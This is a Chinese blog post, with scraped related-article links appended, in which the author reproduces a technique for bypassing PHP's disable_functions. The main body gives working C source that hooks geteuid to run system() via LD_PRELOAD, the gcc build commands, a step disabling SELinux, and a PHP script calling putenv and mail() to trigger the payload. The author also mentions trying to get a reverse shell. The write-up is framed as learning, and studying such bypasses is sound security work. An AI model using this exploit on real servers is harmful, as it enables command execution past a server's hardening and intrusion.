今天看来一篇文章:http://cb.drops.wiki/wooyun/drops/tips-16054.html

复现了一下,感觉有点坑

我把复现的过程,结果和遇到问题在这里总结一下

我的实验环境是centos7 php 5.4

首先按照要求编译一个so

1.创建一个hehe.c

#include

#include

#include

void payload() {

system("ls /home > /var/www/html/kkkk.txt");

}

int geteuid() {

if (getenv("LD_PRELOAD") == NULL) { return 0; }

unsetenv("LD_PRELOAD");

payload();

}

然后编译一下

gcc -c -fPIC hehe.c -o hehe

gcc --share hehe -o hehe.so

生成一个hehe.so文件

关闭selinux :setenforce 0

然后写一个test.php文件

putenv("LD_PRELOAD=/var/www/html/hehe.so");

mail("a@localhost","","","","");

?>

访问,等待了很久才在在网站根目录下生成一个kkkk.txt

虽然是成功生成了kkkk.txt,并且内容也是正确的。

但是有几个问题我搞了一天都没有解决:

1.生成的时候特别慢,特别卡,无论我把机子的性能调整到多高

2.不能用system函数读和删除文件,查看日志发现,路径虽然写对了,但是在日志中发现大量文件不存在或者没有被发现的错误记录,很郁闷,而且错误记录不止一条,有很多,证明mail函数在邮件没有发送成功的时候反复发送,直到一个阀值才停下

3.无法用常规的方式反弹shell出来

php mail ld preload,读《利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令》有感...相关推荐

  1. php ld preload,利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令

    0x00 前言 在做渗透测试的时候如果遇到安全配置比较好的服务器,当你通过各种途径获得一个php类型的webshell后,却发现面对的是无法执行系统命令的尴尬,因为这类服务器针对命令执行函数做了防范措 ...

  2. 利用环境变量LD_PRELOAD来绕过php disable_function执行系统命令

    YiYang · 2016/05/20 15:55 0x00 前言 在做渗透测试的时候如果遇到安全配置比较好的服务器,当你通过各种途径获得一个php类型的webshell后,却发现面对的是无法执行系统 ...

  3. system+执行mysql命令_Windows环境下通过MySQL以SYSTEM身份执行系统命令 -电脑资料

    前段时间出了两个关于MySQL的漏洞<MySQL CREATE FUNCTION功能mysql.func表允许注入任意函数库漏洞>.<MySQL CREATE FUNCTION功能l ...

  4. linux 环境变量LD_PRELOAD简介 定义优先加载的动态链接库

    在Unix操作系统的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库. 这个功能 ...

  5. cmake and cmake-gui读的环境变量不一致

    在配OpenNI2的时候, 导出变量到~/.bashrc后, 发现cmake和cmake-gui读出的变量不一致, 仔细一看cmake读的变量是从~/.bashrc文件里面的读的 cmake-gui是 ...

  6. centos shell基础 alias 变量单引号 双引号 history 错误重定向 21 jobs 环境变量 .bash_history source配置文件 nohup ...

    centos shell基础知识 alias  变量单引号 双引号   history 错误重定向 2>&1  jobs  环境变量 .bash_history  source配置文件 ...

  7. 【信息安全-科软课程】Lab2环境变量和Set-UID程序实验

    目录 1.0 前言 2.0 实验任务 2.1任务1:操纵环境变量 2.2任务2:将环境变量从父进程传递给子进程 2.3任务3:环境变量和execve() 2.4 任务4:环境变量和system() 2 ...

  8. 10分钟搞定让你困惑的 Jenkins 环境变量

    前言 Jenkins, DevOps 技术栈的核心之一,CI/CD 离不开编写 Pipeline 脚本,上手 Jenkins ,简单查一下文档,你就应该不会被 agent,stages,step 这类 ...

  9. 玩转u-boot之【初探环境变量env/bootcmd/bootargs】

    在linux下玩过boot的人都知道,任何一款linux下的boot程序都会有一些运行参数,也可以叫环境变量或者环境参数.比如友善之臂给mini2440开发板标配的SuperViVi这款boot程序, ...

最新文章

  1. delphi memo 行数 自动换行_大咖分享办公秘籍:Word和Excel换行
  2. linux下安装svn
  3. python3.6在线编译器-CPython 解释器 与 VC 编译器版本对应关系
  4. ajax.filter json过滤,$.ajax()的dataFilter方法
  5. python lambda函数两个列表大小关系_python学习 -- operator.itemgetter(), list.sort/sorted 以及lambda函数...
  6. 鸿蒙系统8月9日发布,8月9日,华为发布EMUI10.0系统+展示鸿蒙系统
  7. 阿里云容器技术专家莫源:乘风踏雪归来,仍是此间少年
  8. 序号47指标横向展示.xlsx_电力监控系统安全防护规定Akey310参数指标
  9. nginx低版本不支持pathinfo模式,thinkphp针对此问题的解决办法
  10. python流程自动化_python selenium 自动化流程的一些总结与思考
  11. 容器技术Docker K8s 29 容器服务ACK基础与进阶-弹性伸缩
  12. 密码学 ZUC算法 Python实现
  13. 真正解决IDEA中Tomcat中文乱码问题
  14. 网口压线顺序_网线水晶头接法
  15. background属性总结
  16. 计算机工程与应用期刊模板,计算机工程与应用 论文模板
  17. 19 | 耗电优化(下):耗电的优化方法与线上监控
  18. 《暗黑破坏神》经典爆笑小说
  19. [AH2017/HNOI2017]抛硬币
  20. SSH Tunnel隧道

热门文章

  1. 深入mysql慢查询设置的详解
  2. NIO学习--缓冲区
  3. 单例模式创建的两种方法
  4. java中volatile的使用方式
  5. Linux 和 Windows 平台不同的 UCS-2 编码
  6. Halcon: 畸变矫正与标定(1)
  7. 【pyqt5】配置Qt Designer之【designer.exe的保存位置及ui文件转py文件及no Qt platform plugin could be initialized 问题解决】
  8. 车站计算机联锁系统的仿真设计,车站计算机联锁仿真设计.doc
  9. linux在双系统中消失了,双系统重新安装windows后,ubuntu选项消失
  10. jquery 判断是否有类名_Day037-JS、jQuery